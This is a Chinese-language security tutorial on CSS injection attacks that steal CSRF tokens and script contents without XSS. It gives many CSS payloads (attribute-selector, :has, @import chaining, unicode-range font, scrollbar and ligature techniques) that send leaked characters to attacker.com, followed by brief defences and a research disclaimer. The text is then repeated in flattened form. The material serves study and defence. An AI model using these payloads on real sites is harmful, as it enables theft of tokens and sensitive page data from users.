CSS安全:不需要XSS也可以得到你的token!
字数 1033 2025-09-23 19:27:38

CSS注入攻击:窃取Token的高级技术解析

概述

CSS注入攻击是一种利用样式表实现数据窃取的攻击技术,它不需要XSS漏洞即可窃取敏感信息(如CSRF token)。由于多数防护系统(如DOMpurify)对样式表限制较少,此类攻击具有较高成功率。

核心攻击原理

1. 基础技术组合

  • 属性选择器:使用[value^=x](匹配开头)、[value$=x](匹配结尾)、[value*=x](匹配包含)筛选元素
  • 外部资源加载:通过background: url(http://attacker.com?data=x)发送数据到攻击者服务器

示例代码:

input[value^="a"] {
  background: url(https://attacker.com?leak=a);
}

2. 隐藏字段窃取技术

针对type=hidden的input字段,采用以下方法:

方法一:相邻选择器

input[name="csrf-token"][value^="a"] + input {
  background: url(https://attacker.com?leak=a);
}

方法二:has选择器(现代浏览器支持)

form:has(input[name="csrf-token"][value^="a"]) {
  background: url(https://attacker.com?leak=a);
}

方法三:显示隐藏元素

head, meta {
  display: block;
}
meta[name="csrf-token"][content^="a"] {
  background: url(https://attacker.com?leak=a);
}

高效数据提取技术

1. @import链式加载

通过导入链式CSS文件实现自动化字符爆破:

@import url(https://attacker.com/start?len=8);

服务器端生成链式响应:

@import url(https://attacker.com/payload?len=1);
@import url(https://attacker.com/payload?len=2);
/* ...更多导入 */

2. 双向爆破优化

同时匹配开头和结尾字符,提升窃取效率:

/* 前缀匹配 */
input[value^="a"] { background: url(https://attacker.com?pre=a); }

/* 后缀匹配 */
input[value$="z"] { border-image: url(https://attacker.com?post=z); }

高级窃取技术

1. Unicode范围字体攻击

利用字体加载机制检测特定字符:

@font-face {
  font-family: "f1";
  src: url(https://attacker.com?q=1);
  unicode-range: U+31;
}
div {
  font-family: f1, "Arial";
}

2. 字体高度差异+滚动条检测

技术原理

  • 使用特殊字体(如Comic Sans MS)制造高度差异
  • 通过滚动条触发外部资源加载

实现步骤

@font-face {
  font-family: "char-A";
  src: local('Comic Sans MS');
  unicode-range: U+41;
}

div {
  font-size: 0px;
  height: 40px;
  width: 20px;
  overflow-y: auto;
}

div::first-line {
  font-size: 30px;
}

div::-webkit-scrollbar:vertical {
  background: var(--leak);
}

完整攻击动画

animation: 
  loop step-end 200s 0s, /* 宽度变化 */
  trychar step-end 2s 0s; /* 字符测试 */

3. 连字字体攻击

利用连字特性检测字符组合:

<svg>
  <defs>
    <font horiz-adv-x="0">
      <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
    </font>
  </defs>
</svg>

<style>
script {
  display: block;
  font-family: "hack";
  overflow-x: auto;
}
</style>

脚本内容窃取技术

通过显示script标签并应用字体攻击:

head, script {
  display: block;
}

防御措施

  1. 输入验证:严格过滤用户输入的样式内容
  2. CSP策略:实施严格的内容安全策略,限制外部资源加载
  3. 随机化设计:使用随机变化的类名和ID
  4. 敏感信息保护:避免将敏感数据直接放在HTML属性中
  5. 框架保护:使用现代框架的内置防护机制

总结

CSS注入攻击展示了即使没有JavaScript执行能力,攻击者也能通过样式表实现数据窃取。这些技术利用了浏览器的多种特性,包括属性选择器、字体加载机制、滚动条行为和连字渲染等。防护需要多层次的安全策略,包括输入验证、输出编码和严格的内容安全策略。

参考资源

  1. Beyond XSS: CSS Injection Attacks
  2. Stealing Data in Great Style - Securitum Research
  3. CSS Injection Advanced Techniques

注意:本文仅用于安全研究目的,请勿用于非法活动。

CSS注入攻击:窃取Token的高级技术解析 概述 CSS注入攻击是一种利用样式表实现数据窃取的攻击技术,它不需要XSS漏洞即可窃取敏感信息(如CSRF token)。由于多数防护系统(如DOMpurify)对样式表限制较少,此类攻击具有较高成功率。 核心攻击原理 1. 基础技术组合 属性选择器 :使用 [value^=x] (匹配开头)、 [value$=x] (匹配结尾)、 [value*=x] (匹配包含)筛选元素 外部资源加载 :通过 background: url(http://attacker.com?data=x) 发送数据到攻击者服务器 示例代码: 2. 隐藏字段窃取技术 针对 type=hidden 的input字段,采用以下方法: 方法一:相邻选择器 方法二:has选择器 (现代浏览器支持) 方法三:显示隐藏元素 高效数据提取技术 1. @import链式加载 通过导入链式CSS文件实现自动化字符爆破: 服务器端生成链式响应: 2. 双向爆破优化 同时匹配开头和结尾字符,提升窃取效率: 高级窃取技术 1. Unicode范围字体攻击 利用字体加载机制检测特定字符: 2. 字体高度差异+滚动条检测 技术原理 : 使用特殊字体(如Comic Sans MS)制造高度差异 通过滚动条触发外部资源加载 实现步骤 : 完整攻击动画 : 3. 连字字体攻击 利用连字特性检测字符组合: 脚本内容窃取技术 通过显示script标签并应用字体攻击: 防御措施 输入验证 :严格过滤用户输入的样式内容 CSP策略 :实施严格的内容安全策略,限制外部资源加载 随机化设计 :使用随机变化的类名和ID 敏感信息保护 :避免将敏感数据直接放在HTML属性中 框架保护 :使用现代框架的内置防护机制 总结 CSS注入攻击展示了即使没有JavaScript执行能力,攻击者也能通过样式表实现数据窃取。这些技术利用了浏览器的多种特性,包括属性选择器、字体加载机制、滚动条行为和连字渲染等。防护需要多层次的安全策略,包括输入验证、输出编码和严格的内容安全策略。 参考资源 Beyond XSS: CSS Injection Attacks Stealing Data in Great Style - Securitum Research CSS Injection Advanced Techniques 注意 :本文仅用于安全研究目的,请勿用于非法活动。